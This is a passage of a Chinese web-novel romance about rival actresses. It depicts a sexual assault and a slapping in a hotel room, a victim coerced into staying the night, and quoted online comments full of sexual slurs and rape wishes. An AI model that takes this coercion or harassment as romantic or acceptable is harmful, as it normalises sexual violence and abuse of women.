现在这个骗子和她平番，还和她强劲的对手在一起。 完完全全的利用，这个女人完完全全是在利用自己！而自己还傻傻地被这个女人玩弄于股掌之中！！ 这个女人，这个满嘴谎言的贱女人，这个贱女人…… 晏瑾年转身快步往电梯处走。 “椰子……”罗瑜不知道发生了什么事，晏瑾年脸色未免也太难看了。 晏瑾年想说些什么，却又被满腔的愤怒和痛苦哽住了喉咙，只能发出一声压抑的低吼。 祝星亦你这个贱女人，你这个毒妇，你这个只会利用别人的骗子…… 晚上十点，酒店走廊将一切喧嚣都隔绝在外。 苏寄欢和赵瑞茜在房间里和其他几个导演讨论夏城的拍摄方向。 祝星亦自己在房间里等苏寄欢回来，明天就要出发去夏城，拍完纪录片要赶忙拍摄相关戏份。 正看着剧本，一阵清脆的敲门声打断了祝星亦的思绪。 祝星亦下意识以为是苏寄欢回来了，立刻起身快步走向门口迅速打开了门。 “苏老……”祝星亦的话还没说完，笑容瞬间僵在了脸上，“晏瑾年？” 眼前的晏瑾年穿着黑色深V短裙，披散着发，项上一条长长的银链垂下来，隐藏在饱满的鸿沟里，黑丝透着诱人的肤色，尖头高跟鞋和那张脸一样具有攻击性。 晏瑾年脸上挂着一抹看似温和的笑，“你怎么在苏寄欢房间？” “我……”祝星亦张了张嘴，一时语塞。 晏瑾年却不给她思考的时间，她上前一步，“你有什么想跟我说的吗？” 祝星亦眼中满是警惕，毫不示弱地回视着晏瑾年，“如果你是来没事找事的，我不欢迎你。” 她用力握紧把手，想要把门关上。 晏瑾年却反应极快，她迅速伸出手握住门，硬生生把门推开。紧接着她一把抓住祝星亦的手腕用力一拉，直接把祝星亦从屋子里拽了出去。 祝星亦挣扎着，却怎么也挣脱不开晏瑾年的手，只能被她拖拽着脚步踉跄地往她的房间走去。 晏瑾年打开自己房间的门，把祝星亦拉进去后，“砰”的一声关上了门。 第102章 晏瑾年，你滚！ 门咔哒反锁上。 祝星亦被拖拽到床边时叹道情况不妙，她慌慌张张挣脱掉晏瑾年的手，嗓音尖细：“晏瑾年你干什么？！放开我！” 她扭着身子抗拒，但晏瑾年一点都不想放开她。 于晏瑾年而言，祝星亦的反抗不过小猫挠痒痒。 这个挠她的猫是比她小11岁的孱弱小孩，是靠汲取她人的血才能爬上去的虫子。 只需要掐断脖子，就能让这只虫子不再活蹦乱跳。 晏瑾年盯紧祝星亦修长白皙的脖子，她没那么大的忍耐度，紧紧拽着纤细的手腕把人往床上带。 祝星亦挣扎得鞋子都掉了，晏瑾年按住她乱动的身子，不由分说地咬住她雪白的颈。 晏瑾年承认，祝星亦是她的菜，也是她迄今为止最满意的一盘菜。 没有这么漂亮还会主动投怀送抱的女人，才华横溢，又有性格。 年轻貌美，都在她的点上。 像为她量身定做。 所以当初祝星亦勾搭她的时候她没拒绝。 所以她会容忍祝星亦一次又一次对她不客气。 所以她会满足祝星亦的要求，会主动把资源送上去。 但一切的一切都不该是以她失败为结局。 晏瑾年听着祝星亦的尖叫和抗拒，清凌凌的嗓音，带着恐惧、愤怒，像笼子里面被拔掉羽毛的雏鸟，无助又痛苦。 她有些心疼这样的祝星亦。 失去了锋芒，只剩可悲的惊慌。 但她忽然想到祝星亦和苏寄欢的吻，以及那样亲昵的动作，她似是疯了去脱祝星亦的衣服。 “晏瑾年！你疯了！”祝星亦又慌又急，她的声音已经变得颤抖，抖到全身都在颤动，“你这个混账快放开我！放开我！！” 祝星亦不停推着身上的人，瓷白的手臂太晃眼，晃得晏瑾年失神。 这具身体太美丽了。 这张脸也太过于完美。 哪怕祝星亦现在那么慌张害怕，头上尽是汗珠，在晏瑾年眼里都是美丽诱人的。 苏寄欢睡祝星亦的时候是不是很骄傲？是不是很得意？是不是在无数个潮。喷的瞬间想着要跟她炫耀？ 难怪，难怪啊。 难怪苏寄欢这条狗摇着尾巴，高兴成那样。 晏瑾年停下动作，她抵住祝星亦的腿，噙着冷笑看身下的人：“你抗拒什么？我给你的不够多吗？” 她快速把祝星亦的双手锢住，另一手捏紧祝星亦的下巴，“她给你资源你就和她睡，我给了你那么多东西，让我享用享用你怎么了？我给你花了钱和精力，让我碰一下都不行吗？” 晏瑾年的手缓缓下移，最后放到祝星亦的胸口上。 “我给了你多少东西？你有数过吗？你问我要的也好，我主动给的也罢，我的诚意不够吗？”晏瑾年的声音因为愤怒而逐渐变得凄厉，“可你给我什么了？祝星亦？你给我什么了？回答我！！” 祝星亦反感晏瑾年的触碰，但她现在被牢牢压着，怎么都无法脱身，她开始冲这个失了智的女人吼：“你自己心甘情愿给我的，你要我回答什么！” 是啊，心甘情愿。 晏瑾年看着被锢着的狐狸兀自笑出声。 她怎么那么蠢，她怎么那么轻易地着了这个女人的道。 傻傻地被利用，被吸血，被当作蠢货一样玩弄。 从头到尾她都是一个蠢货，被这个臭女人钓着、玩弄。 说不定这女人半夜和苏寄欢那条狗欢。好之后，还会讲起她的糗事。 两具黏腻的身体抱在一起，浑身湿答答的，然后一起讨论她有多蠢。 5000万买了个平番，拍戏时不停被批评指点，投入那么多资源打水漂…… 晏瑾年咬着牙望着还在挣扎的女人，她太不甘心了。 她之前还在说苏寄欢命苦，但现在命苦的是自己才对。 她从这女人籍籍无名时就开始上供资源，给到现在，女人火了，咖位升了，都开始和她竞争了，她却连这女人都没碰过几次。 太不甘心了，太不甘心了。 怎么会有祝星亦这样的人？ 吸她的血上位，踩在她头上和别的女人接吻，被别的女人吻遍身体的每个角落，在别的女人怀里做出她没见过的表情。 从她给祝星亦第一个资源开始，她便开始为祝星亦和苏寄欢在一起铺路。 然而，这一切源自她，心甘情愿。 晏瑾年再也忍不住，她红着眼抓紧祝星亦的肩头咆哮：“贱人！你这个贱女人！你这个骗子！你眼里只有我的资源吗？把我吸得干干净净然后转头和别的女人在一起，你就是这么回报我的吗？！” 她看身下的祝星亦因为她的用力而抖动着漂亮的身子，她觉得祝星亦有些可怜，但很快她因为愤怒而控制不住地低吼一声。 她怜惜祝星亦，但她又恨她。 紧接着她疯狂地拽祝星亦的衣服，轻薄的衣裙被她的双手摆弄，她往更深处去，而祝星亦表现出强烈的反抗情绪。 “放开我！别碰我！”祝星亦无法忍受这种屈辱，她边捂着裙子边用力脱离晏瑾年的桎梏，准备翻身下床。 可晏瑾年迅速抓着祝星亦的脚踝让她难以行动。 几乎是瞬间，晏瑾年俯身把祝星亦锢在怀里说：“我什么都可以给你，你为什么不肯和我在一起？苏寄欢她能给你什么？她自己都抢不到剧本，她自己都拿不到那些奖，你为什么还愿意跟她在一起？” 晏瑾年牢牢锢住祝星亦，她亲吻祝星亦的头发，嗅着这股味道，贪恋得眼睛发酸。 她被这个女人钓了那么久，结果给苏寄欢做了嫁衣裳。 她恨不得杀了这个女人，可现在，她抱着这具温暖的柔软的身子，嗅着女人身上的味道，她又投降了。 晏瑾年再次把怀里的女人抱紧，她闭上眼说：“祝星亦，你是一个多么下贱的女人，你的出身低贱，你又贪心、无耻，我恨不得现在就剥你的皮吃你的肉喝你的血。可我喜欢你，我有什么办法？” 她的声音沙沙的，一点点粗粝的质感，愤怒又带着乞求的调子实在可怜。 “贱人，你这个贱骨头，你这个该死的坏女人。我也是贱，一次次上赶着对你好，哪怕你不领情我也要缠着你。”抱紧祝星亦，晏瑾年似是着了魔般疯狂嗅着祝星亦身上的味道。她抓着祝星亦的手防止乱动，另一手缓缓往下探去。 “我投降好吗？算你赢了。我求求你，别让我输苏寄欢太惨，我什么都给你了，我的钱，我的资源，我的尊严，我都给你了。你让我投机取巧赢一次好吗？”晏瑾年跪坐着，她从背后锢住祝星亦，指尖勾起前面的衣料。 她越嗅着祝星亦身上的味道越着迷，忍不住从祝星亦白皙的脖颈上开始吻。 她忍着祝星亦几乎要跳起来的反抗，用力桎梏住怀里的人。 “你这个漂亮的贱货，我好喜欢你，因为我也贱死了。”晏瑾年说着用力咬住祝星亦的肩，声音从鼻子里哼出来，“我好喜欢你，你这个贱人，我巴不得你跟我一起去死。” “滚啊！晏瑾年你给我滚啊！”祝星亦吃痛地惊呼出声，“放开我，你这个恶心的混蛋，滚啊！” 愤怒的骂声在晏瑾年耳中只是情话，她抓着祝星亦的一条手臂，动情地从手背开始吻。她的吻绵软又贪婪，好似要把祝星亦拆之入腹。 祝星亦瞅准时机肘击晏瑾年，趁晏瑾年没有防备飞快地逃下床。她顾不上穿鞋子往门口跑去，刚拧开锁打开门，迎面一个黑影。 是晏璟霖。 晏璟霖看着衣衫不整的祝星亦，还有刚从床上爬下来同样衣衫不整甚至黑丝都破了的晏瑾年，瞬间明白了什么。 走廊上有人经过，祝星亦伸着手准备喊救命。晏璟霖忽然快速进屋子一脚把门踢上，旋即捂着祝星亦的嘴往屋子里退。 “唔——”祝星亦被捂住嘴巴发出无力的呜咽声。 口鼻都被捂着，她无法呼吸。 等确认门外的人走远了，晏璟霖放开祝星亦。 祝星亦拔腿往外跑，又被晏璟霖抓住了手臂。她阴沉着双眼，一手抓着祝星亦的手腕，一手给了祝星亦重重的一巴掌。 很快，晏璟霖松开了手。她换了下手，又往祝星亦脸上打了一掌。两个巴掌的力度太重，祝星亦无力地栽倒在地。 “晏璟霖你干什么！”晏瑾年慌慌张张地跑过来扶祝星亦，她抬头冲晏璟霖吼着：“你是不是有病！你打她干什么！” 晏璟霖没搭理晏瑾年的指责，她蹲下身子直视半睁着眼的祝星亦低声说：“让你来演还不够吗？非要抢番位？你这么贪心吗？” 她抬手捏紧祝星亦的下巴，被晏瑾年强行打掉。 晏瑾年扶好祝星亦的身子解释：“我正好要跟你说这件事，你不要责怪她，平番的事又不是她安排的，是苏寄欢和姓林的合伙给我找不痛快。你要是找麻烦就去找她们，别找星星的麻烦。” 晏璟霖看见晏瑾年这副模样就恶心得要吃不下饭，为了一个不值得的女人什么都掏出去了，等不来这女人的投诚，反倒迎来了背刺。 “蠢货。”晏璟霖指着她骂道，“晏瑾年，你迟早被这个女人害死，你被她害死还为她说话！” 晏瑾年冲她大吼：“我喜欢她我为她说话你有意见吗？！” “这就是你求我的态度？”晏璟霖很显然没什么耐心，她甚至想要打开门直接走掉，“你喊我过来求我办事，你这样求的？” 晏瑾年没有再多废话，声音冷淡：“你同不同意？” 晏璟霖呛她一句：“你喜欢这女人你求这女人帮你。” “晏璟霖？”晏瑾年拧起眉毛，她攥着拳头咬牙切齿：“如果你真不想帮，我自己去联系炆格，我自己去牵线炆格和ilmeth。” 晏璟霖怒骂一声：“你联系个屁！晏瑾年你现在真把自己当人物了，自己给我揽活儿坑我是吧？我给炆格和ilmeth牵线，她们关系好了我们晏氏怎么办？我辛辛苦苦打理晏氏，我辛辛苦苦培养你，你个白眼狼转头为了自己把我卖了，现在还为一个吃着碗里看着锅里的死女人跟我吵架。” 但晏璟霖能怎么办？ 晏瑾年再怎样都是她妹妹，她不能不管自己的妹妹。为了晏瑾年，她只能忍着恶心牵线炆格和ilmeth。 晏瑾年神色缓了缓，她抱紧怀里的祝星亦，再次确认：“你真的要帮？” “我能怎么办？”晏璟霖嘴角噙着冷笑，她手指夹着烟，呼出一阵烟雾，美艳锋利的五官隐在烟里看不清轮廓，“晏瑾年，我始终是你姐姐，你若是向我低头，我什么都给你。但你非要跟我作对，还要为了一个死女人跟我吵架。” 晏璟霖睨了眼坐在地上、被晏瑾年紧紧抱着的女人，很快她蹲下身子。晏瑾年怕她要再伤害祝星亦，警惕地盯着她的动作。 晏璟霖不禁发笑，她真是培*养了一个好妹妹。 “祝星亦，打你是给你教训。”晏璟霖朝祝星亦的脸上吐出一阵浓厚的烟雾，“选择跟我合作就拿出你的诚意，这一次我可以不计较，我只当你在提升你的价值。但你没有下次了，我也不会给你那么多机会。” 晏璟霖又往祝星亦脸上吐了吐烟，她抬手攥着祝星亦的下巴看了又看，“你这张脸确实漂亮得很，难怪我这个蠢妹妹被你迷得颠三倒四。我这次先原谅你，但你也要拿出你认错的诚意。我妹妹喜欢你，你在她这里留一晚，当是给我的道歉，听明白了吗？” 晏瑾年搂着祝星亦的腰好声劝说：“星星，快，你说留在这里，给我姐认个错。” 认错？留一晚？ 祝星亦攥着拳头眼底一片冰冷。 她什么都没干她做错什么了？她认认真真拍戏，什么都不想，一心只为演好戏，突然被通知和晏瑾年平番，随后被晏瑾年欺辱，又被晏璟霖殴打。 她干什么了她要认错？ “对不起，我错了，我会在这里留一晚，我以后不会再犯这种错，请你原谅我。”祝星亦颤着眼睫，声音低哑。 她没什么特别的情绪，红肿的脸因为那颗冰冷灰暗的心显得僵硬又冷峻。 “你只要乖乖的，我会给你苏寄欢给不了的一切。”晏璟霖很满意祝星亦的认错，她轻轻抚摸祝星亦的脸蛋儿，声音也温柔了不少，“好孩子，我是不会害你的，你一定要好好表现，别忘记协议上的内容，快点把你的价值拿给我看。当然，我也希望你能满足我这个愚蠢的妹妹。” “你跟谁睡都不如跟我妹妹睡，她这么美丽身材又这么好，技术也好，你跟她睡是你的福气，她这么喜欢你，什么都能给你，你还挑什么？”晏璟霖重重地拍拍祝星亦的脸，房间里发出一阵掌与脸碰撞的啪啪声。很快她起身离开关上了房门，房间里只剩祝星亦和晏瑾年。 晏瑾年把祝星亦小心抱起来放在床上，她没想到晏璟霖会这么狠心打祝星亦，她再恨祝星亦她都舍不得打。 看着祝星亦红肿的脸颊，晏瑾年小心翼翼抚了抚红肿的地方心疼道：“星星，你疼不疼？” 祝星亦沉着脸冷笑一声，被这两人打骂欺辱，她已经无法再冷静地坚持什么，只能像抽了魂儿似的喃喃：“疼啊，我的脸好疼。” “对不起，我替我姐跟你道歉。”晏瑾年心疼得抱住了祝星亦，她难以想象祝星亦当时有多委屈。 晏瑾年觉得自己真是贱，她明明知道祝星亦利用她骗她不对，但她看到祝星亦可怜的模样又止不住心疼。她甚至想，要是晏璟霖打的是她就好了，这样祝星亦就不会疼得两眼泪花。 “星星，你就听我姐的话好吗？你不要惹怒了她，如果她真的生气了，连我也保不住你。”晏瑾年搂紧祝星亦的腰，低声喃喃，“星星，今晚你就留在这里，我们好好说说话，你放心，我不碰你，你在我床上好好睡一觉。” 祝星亦扯唇讥讽：“我这么下贱的人，怎么配出现在你的床上？” “是我下贱，是我。”晏瑾年亲吻祝星亦瘦弱的肩头，嗅着祝星亦肌肤上散发的香甜，忍不住抚摸祝星亦纤细的腰，“星星，对不起，我说话太重了。你看在我帮你说话的份上，你能不能原谅我？” “想让我原谅你？”祝星亦掀起眼皮冷冷地瞥晏瑾年一眼，“那就放我走。你放我走我就原谅你。” 晏瑾年摇着头搂住祝星亦的腿把祝星亦往床中间放，她拒绝了祝星亦这个要求，“我不要你走，为什么，星星你这么讨厌我的吗？你要什么我给什么，我把什么都给你了你为什么还讨厌我？我跟苏寄欢比起来很差劲吗？” “星星，是你先招惹我的，你为什么现在把自己抽得一干二净一走了之？你转头跟苏寄欢在一起，你把我当什么了？”晏瑾年握住祝星亦的手吻了又吻，“但是没关系的星星，我会原谅你，你只要肯回头，我不介意你的背叛。我会继续对你好，你想要什么我就给你什么，我可以把我的一切都给你。” 晏瑾年低声喃喃着，双手不安分地去褪祝星亦的衣服，“星星，你跟她睡不如跟我睡，她懂什么？我才能让你快乐。我会让你高潮到停不下来，我会让你知道跟我做有多爽。” 她边说着边吻了上去，直到祝星亦一巴掌打在她脸上，把她打得眼冒金星。 香甜的味道留在她脸上，她恍恍惚惚，几乎要看不清眼前的祝星亦。 但她仍旧抱住了身下的人，用几近渴求的声音说：“星星，我允许你对我放肆，butitsnotfree。我们都是成年人，这种事情我还要对你藏着掖着吗？你跟她做不如跟我做，我可以完全满足你，你相信我。” 祝星亦满脸厌烦，猛地一用力将晏瑾年狠狠推开，紧接着啪的一声，又一巴掌重重地甩在了晏瑾年脸上，同时怒喝道：“神经病！你发什么疯！谁要跟你做！” 说罢她拼命扭动身躯，用力挣脱晏瑾年的手，慌慌张张地爬下床。晏瑾年却不依不饶迅速起身追了上去，伸手想要再次抓住祝星亦，嘴里还念念有词：“星星，你别跑。” 祝星亦转过身冷眼盯着晏瑾年，她觉得这个女人实在太招笑了。 前世的晏瑾年是多么高傲、冷漠的一个人，不愿意多扶持她，不愿意好好给她爱。今生她只是稍微主动点，这个高傲的女人就摇着尾巴把一切奉上。 真是一条烂狗。 她猛地拽着晏瑾年项上那条项链，把藏在胸脯鸿沟间的链条拽出来。 链条藏在沟里太久，发烫得很。 祝星亦拽着链子掀起唇角嘲讽：“晏瑾年，你真恶心，你已经贱到要做小三了吗？” 她拽着链条，迫得晏瑾年上前一步。 小三？这个身份于晏瑾年而言确实耻辱，可看着祝星亦，她还是咬了咬牙软声道：“小三？对，我可以做小三，我愿意，只要能和你在一起，怎样都行。” 祝星亦听后厌恶地翻了个白眼，她低声讥笑：“你真可怜。滚，你滚远点，我不想见到你。” 说完她转身开门拔腿就跑，丝毫没有停留，很快便消失在了晏瑾年的视线中。 祝星亦回去的时候，苏寄欢还没回来，她抱着睡衣去洗浴间洗了很长时间的热水澡。 吹完头发后，祝星亦抱着剧本在床上窝了一会儿，最后她躺在床上一直盯着天花板看。 有时候她会困惑重来的一世所做的选择对不对，但看看比她前世多出几倍的粉丝，还有高出几十倍的商业价值，她觉得她做的每个选择都无比正确。 江城四五月已经开始热了，到了夏天这里就是火炉，好在明天剧组就会启程去夏城。 夏城是江南小城，下下一站的桦城离夏城不远，再去两个小城市补拍一些戏份，这部电影就会杀青。 手机响了。祝星亦拿过手机翻看消息，是晏璟霖发来的。 她浏览了那段话，有些疲惫地放下手机。 想要得到什么就要放弃什么，命运里的所有东西都标着价格，没有什么是可以免费得到的。 但她还是有些懊恼，因为她并不想做这种人。 苏寄欢回来后问她的脸怎么了，她说吃了什么东西有点过敏，已经吃过药了不碍事。 很快苏寄欢搬着小凳子坐在祝星亦身旁讲夏城的拍摄计划。 祝星亦笑意盈盈地听着，没一会儿跑了神儿。 苏寄欢问她到底有没有记下夏城要做什么，她吐着舌头抱住苏寄欢撒娇说哎呀我没记下，你帮我记不就好了。 打闹了一会儿，祝星亦抱住苏寄欢轻声说：“苏老师，你要记住，我永远爱你。” 苏寄欢拍拍她的背问：“怎么突然这么说？” “你也要说你永远爱我。” “嗯，我永远爱你。” 七月上旬，最后一场戏结束后赵瑞茜拿着大喇叭喊：“杀青啦！！” 整个剧组的人举手欢呼。 祝星亦跑到刚扮演完npc的苏寄欢身边抱住她，“太好了，杀青了，你这个黄金npc也杀青了。” “恭喜我们。”苏寄欢揉揉她的头发说，“我们又一起杀青一次。” 祝星亦眼角酸涩，她抱紧苏寄欢嗯了声，“对，恭喜我们。” 横在苏寄欢心里的那块大石头终于落地，有她的陪伴，祝星亦度过了安全的四个月。晏瑾年没打扰她，ilmeth也没为难她。 苏芙一直说星星都多大人了，你一直跟着看着，跟人家没长大似的。苏寄欢反驳她，有些环境如果自己不在，星星很难应付，她宁愿星星永远都应付不了那些人和那些事，也不愿意星星经历一次。 看着苏寄欢这副一心为了亲亲小女友的模样，苏芙呕了。 返回麓城途中，苏寄欢跟她商量杀青之后的事：“我的影视工作室前段时间成立了，下个月会和ilmeth合作启动拍摄《春风吹又生》，我想邀你演，你回去先看看剧本。” “这是原创剧本吗？”祝星亦问。 “对，很难得的原创剧本。三姨创作的，后期会改编成小说和剧同步发表。” 祝星亦对此有些惊讶，没想到这部剧这么用心。她抱着苏寄欢的手臂问：“那你是不是也来演？” 苏寄欢点点头，“当然。” “三搭？” 苏寄欢笑着勾了下她的下巴，“当然。” 祝星亦靠在她手臂上，长叹一口气，“太好了，又要和你在一起拍摄。苏老师……” “嗯？” “没什么，太好了。” // 枫城—— 费奥岛咖啡店二楼。 孟斯汀点完咖啡坐到位置上等待。 灰色西装套装，束着马尾的女人上楼径直走到她的位置坐下。 孟斯汀嚯地起身，“学姐，你怎么……” “正好今天没事，来看看你的大客户。”傅锦懿放下包，声音轻轻，“你客户说几点到了吗？” 孟斯汀点头说：“说是十一点准时到。” “好，也快了，我和你一起等。”傅锦懿和孟斯汀等了一会儿，良久，一个米白色的身影出现在楼梯口。 女人身材比例很好，扎着低马尾，一身米白色套装，戴着口罩和墨镜。体态很好，一看就是有点舞蹈基础。 孟斯汀的目光下意识挪到女人身上的配饰上，腕上是半山水的玉镯，价格不菲。包包好像是PlanMizz最新款，孟斯汀记得这个品牌代言人是当红小花祝星亦。 “你好，孟律师。”女人抬起手。 孟斯汀主动握上，盯着女人好久开口问：“请问你是不是……” 女人取下墨镜勾下口罩，抿唇微笑：“你好，我是祝星亦。” 第103章 你还好吗 《沉默的外乡人》杀青一周后，祝星亦忙于眼花缭乱的代言。《予风说》即将播出，艺域拿出她的商业价值分析了许久，又给她接了一些综艺露露脸。 董韶喻乐此不疲地给祝星亦揽了各种线上线下活动，祝星亦几乎每天都在奔波通告。 白澜感叹火了就是不一样，以前祝星亦参加综艺和一些线下活动时，有些工作人员会直接撂脸子，现在那些人对祝星亦的态度蛮不错。 如果祝星亦再火一把，那些人说不定还会更谄媚。 《予风说》播出前一天，网上铺天盖地的骂声。 当然，只有祝星亦一个人被骂，另一位男主角美美隐身。 除了反虐女文的读者痛骂她，更有恶心的黑粉借此发表恶臭言论。 [祝星亦真是什么剧都接啊，去年一年进了四个组，也不怕剧质量不好］ [小说那么虐女厌女还来演，208w为了红真的是什么事都能干得出来！］ [我们正常读者反《予风说》虐女厌女反了几年，祝星亦这一演，好嘛，白干！］ [希望祝星亦以后也能遇到lzf那样的男人，希望以后祝星亦被打被骂被强！］ [笑鼠，她巴不得呢，不知道多少个男人睡过了，不然怎么爬到这一步］ [猪婆张开嘴，全世界的男人都怼了进去，于是猪婆生了成千上万个猪崽］ [[图片］看她这表情就知道她在床上多骚了，摸她两下都会喷水吧］ [听到她的声音就想来一发］ [我有她裙底照，可私］ [评论区的人能不能积点口德！你们对女艺人口不择言，何尝不是另一种厌女虐女？而且星崽已经提前说了改编后的剧本和原著差别很大，能不能看了剧再评论！］ [已联系工作室，等着律师函吧你们］ [猪婆粉丝动不动就发律师函，笑鼠了，谁管你们］ “太可恶了！”白澜看着那些恶评纷纷转发给运营，她实在无法忍受，连忙联系律师处理那些污蔑造谣诽谤的言论。 从祝星亦拍这部剧开始，她的恶评就没断过。可那些人根本不知道祝星亦为了完成容羽珍的任务，又为了呈现一部好的作品费了多大心力！ 白澜不断地手动举报那些言论，祝星亦过来问她在干什么那么生气。 白澜赶忙关掉手机说：“哦，没什么，帮忙清一下广场。” 祝星亦了然。 掏出手机刷热搜，点进#祝星亦司芊芊#的话题。 她僵住身子好久。 白澜跑过来夺过她的手机着急喊道：“星亦你不要看，明天剧就播出了，播出之后就没事了。” 祝星亦捏紧手指咬唇一笑：“没事，我不在乎，我们这些天先配合剧宣好了。” 白澜有些心疼地拍拍她的肩说：“你除了要配合剧宣，还要去参加那些活动，等这段时间过去，你又要进组拍剧。星亦，你忙了那么久，要不要休息一下？” “不用，我还好。后天要谈《春风》的剧本，容羽珍要跟ilmeth和苏老师那边谈我的角色，我还没有仔细看剧本。等有空了，活动结束你就送我去苏老师家，我要跟她一起顺剧本。”祝星亦把手机抽回来揣在手里，她想她应该再习惯些这些负面评论，最好的办法就是完全不在意。 白澜想说什么又止住了。 祝星亦现在是上升期，保持高曝光度对她提升各方面的价值都有好处。但是祝星亦同时也因为工作消耗了太多精力，精神一直保持高度紧张，从去年《寄明月》播出之后一直在服用精神类药物。 她总想着跟容羽珍说一说，要祝星亦休息休息，起码让大脑放松些，这样才能更好地投入工作之中。 可是祝星亦始终坚持在工作岗位上，似乎离开一天懈怠一天就会前功尽弃似的。 “星亦，你慢慢来的话，艺域的kpi也是可以完成的，没必要这么拼。”白澜实在不忍心祝星亦像个机器一样工作，以前祝星亦还能开开心心地跟她分享生活中的大事小事，现在连话都很少说了。 在剧组时，一旦导演喊完卡，祝星亦就会一个人退到一旁沉默地看剧本，或者和导演沟通戏。如果有苏寄欢在身旁，祝星亦话倒是会多些。 线下活动忙碌时，面对工作人员和粉丝，祝星亦会扬起公式化的笑，一旦离开工作环境，脸上便是怅惘和木然。 她看着祝星亦越走越高，却觉得祝星亦越来越不开心。 白澜走过去道：“我前段时间刷到你在《寄明月》团综的视频，你和苏小姐她们玩得好开心啊。星亦，你晚上不忙的时候多找苏小姐聊聊天好吗？打个视频电话，多说几句话也行。” 祝星亦摇摇头，“她最近也忙，影视工作室需要招商引资，还要忙新剧的事。我也忙。先不说这些了，明天上午要去剧宣扫楼，下午还要去品牌方那里直播，你先忙你的。” 白澜没办法，只好先忙工作。 《予风说》第一集播出后的几个小时，网络上的评论开始出现反转。 整部剧大改特改，节奏也好，人设也罢，和原著两模两样。 原著一直处于弱势的司芊芊在祝星亦的演绎下成了敢于反抗的坚韧女性，不少路人看了一水的好评，还对书粉和原著进行冷嘲热讽。 这导致书粉产生强烈的抗拒情绪，他们道祝星亦蹭原著的热度魔改原著，开始大声抵制这部剧。 原著作者在剧播到第四集的那天发了一条意味不明的微博，书粉拿着微博嘲讽祝星亦。 [真把自己当回事儿了，你一个演员还改编剧本，改得一塌糊涂，没那么大能力就别揽那个活］ [改的什么乱七八糟的东西，把我们厉总塑造成猥琐男，踩男主抬自己是吧］ [谁不知道猪婆是什么心思，好好的言情剧改成了大女主剧，真是可笑，谁都能演大女主，就猪婆不能，她不配！］ [小说亲妈都受不了了，某猪你罪该万死！］ 倒是理智的路人分得清是非，按照原著拍，妥妥纯虐女文。可惜那些黑粉和书粉顾不上这些，辱骂的言论层出不穷，工作室只能不停地清广场。 白澜忙完去祝星亦办公室，祝星亦已经回来了，正在阳台上打电话。 等了会儿，白澜看祝星亦走出来，忙问：“星亦，你今天上午去哪里了？想找你没找到。” “哦，我出门有点事。”祝星亦放下手机坐下，脸上没什么表情。 白澜拿起桌子上的盒子说：“苏小姐上午来了一趟，她给你做了小蛋糕，但你正好不在，太可惜了，不然你还能和她聊聊天。” 打开盒子，一个漂亮的蓝莓蛋糕。 祝星亦切开一角尝了尝，酸酸甜甜。 她沉默地吃着，一绺发垂下，垂在脸前好久才抬手撩上去。 白澜坐在一旁蹙眉问：“星亦，你有什么心事吗？” 祝星亦摇头：“没有，你也吃，很好吃。” 她马上给白澜切了一块。 白澜不想让祝星亦一直处于忙碌的状态，她纠结了许久说：“星亦，我约了齐小姐和宋小姐，你后天正好没有通告，到时候你们三个出去玩一玩，休息休息。” 白澜看祝星亦脸上还没有什么表情，叹道：“星亦，你应该好久没和她们见面了。之前她们两个亲自来工作室找你，可惜你不在。你们都忙，好不容易有时间聚，就去吧。有什么话也可以跟她们说一说，聊一聊，好吗？” 祝星亦低头吃蛋糕。 许久，她说：“知道了，谢谢你。” 约定的时间到了，白澜载祝星亦和两人见面。 三人见面的地方在东嘉路，这里向来热闹。 祝星亦刚下车，两个人影快速跑了过去。 齐漫姝拥住祝星亦兴奋道：“大星！我好久没见到你了！我想死你了！” 宋姿缈抱着双臂睨了眼祝星亦，哼哼两声说：“这么久没见面，我们还以为你升咖了就不想和我们这两个小糊咖一起玩了。” 齐漫姝挽着祝星亦的手臂晃晃悠悠，“是啊，大星，你现在和以前不一样，以前咱们都是凉咖，你现在火得不要不要的，我们都有点点担心你不想和我们玩了。” “我刚刚在路上还看到了你的大屏品牌代言，哎呀，不得不说，红气真是养人，你比以前更高贵了。”宋姿缈撇撇嘴，有些伤感道：“祝星亦，我们现在想和你说说话都难，你整天都忙啊忙，我们以后该不会一年才能见一次面吧？” 麓城的夏日又热又闷，祝星亦和她们走出停车场，一出去，顶大的太阳罩着世界。 她直视太阳，刺得她眼睛发酸。 祝星亦转身握住她们的手摇摇头：“不会，你们一直都是我的好朋友。” 齐漫姝翘着唇角揽住祝星亦的脖子促狭一笑：“大星，趁今天有时间，你赶紧跟我们讲讲你和苏小姐的事呗。” 宋姿缈也凑过去说：“是啊，你和你的苏老师的甜甜爱恋，分享一丢丢呗。” 祝星亦拉着她们走入商场，“好啊，慢慢跟你们聊。” 她们捂着嘴巴听祝星亦讲是谁先告白的，两个人在剧组的角落偷偷接吻，在酒店里不想背剧本时就开始亲亲，早安吻和晚安吻都是苏寄欢亲的，苏寄欢做的饭特别好吃，苏寄欢的怀抱特别温暖…… 祝星亦从来不知道这两个人会那么吵，她捂着耳朵让她们不要那么激动，然而二人又蹦又跳尖叫个不停，嘴里还不停喊着“啊啊啊好甜啊好甜啊”。 “祝大星！你怎么不早点A上去啊！”齐漫姝想到这就替祝星亦感到遗憾，“你要是早点A上去，你们不早就这么甜了！一看就知道你的苏老师等你很久了！” 祝星亦想了想说：“我起码要等到我配和她站在一起时再告白吧，我不想让别人知道空无一物的我觊觎这么好的她。” 齐漫姝一愣，问：“所以你得了玉桂奖最佳女配角后才跟她……如果你那时候没有得奖呢？” “也许告白会来得再晚一点。”祝星亦回答，“否则会有很多人说我配不上她，其实我也知道我配不上她，就……嗯，配不上。” 宋姿缈拧起眉头：“你怎么会这么想？你哪里不配了？你超配顶配天仙配好吧！” 看着祝星亦低垂的眼，宋姿缈在这一刻才发觉，她好像从未了解过祝星亦。 在她印象里，祝星亦是个暴躁、骄傲得不得了的女人，眼睛长在天上，谁都看不起，胡作非为、敢爱敢恨。 这样一个拽得不行的人，居然也会自卑吗？ 宋姿缈叉着腰对她指指点点道：“你这么漂亮，演技又那么好，以后什么大奖拿不到？你怎么配不上她？” 祝星亦低着头默声许久说：“我肯定会继续往上走，拿奖拿到手软。我配拿到那些荣誉。可是……可是这是另外一回事。” 祝星亦：“你们知道吗？过段时间要开拍的《春风吹又生》里，她主动放弃女主的角色，她让我演女主，她去演女配。” 齐漫姝惊讶道：“她为你做配？我听说这个剧本很好，还有机会拿奖。她做配……她家里人愿意吗？” “她说，她说服了她的妈妈。”祝星亦叹道，“她跟我说，如果我可以凭这个剧拿奖，哪怕只是提名，我未来的路都会走得很顺。但其实她已经好久没有拿到好剧本了，好不容易等到了好剧本，她又要让给我。” 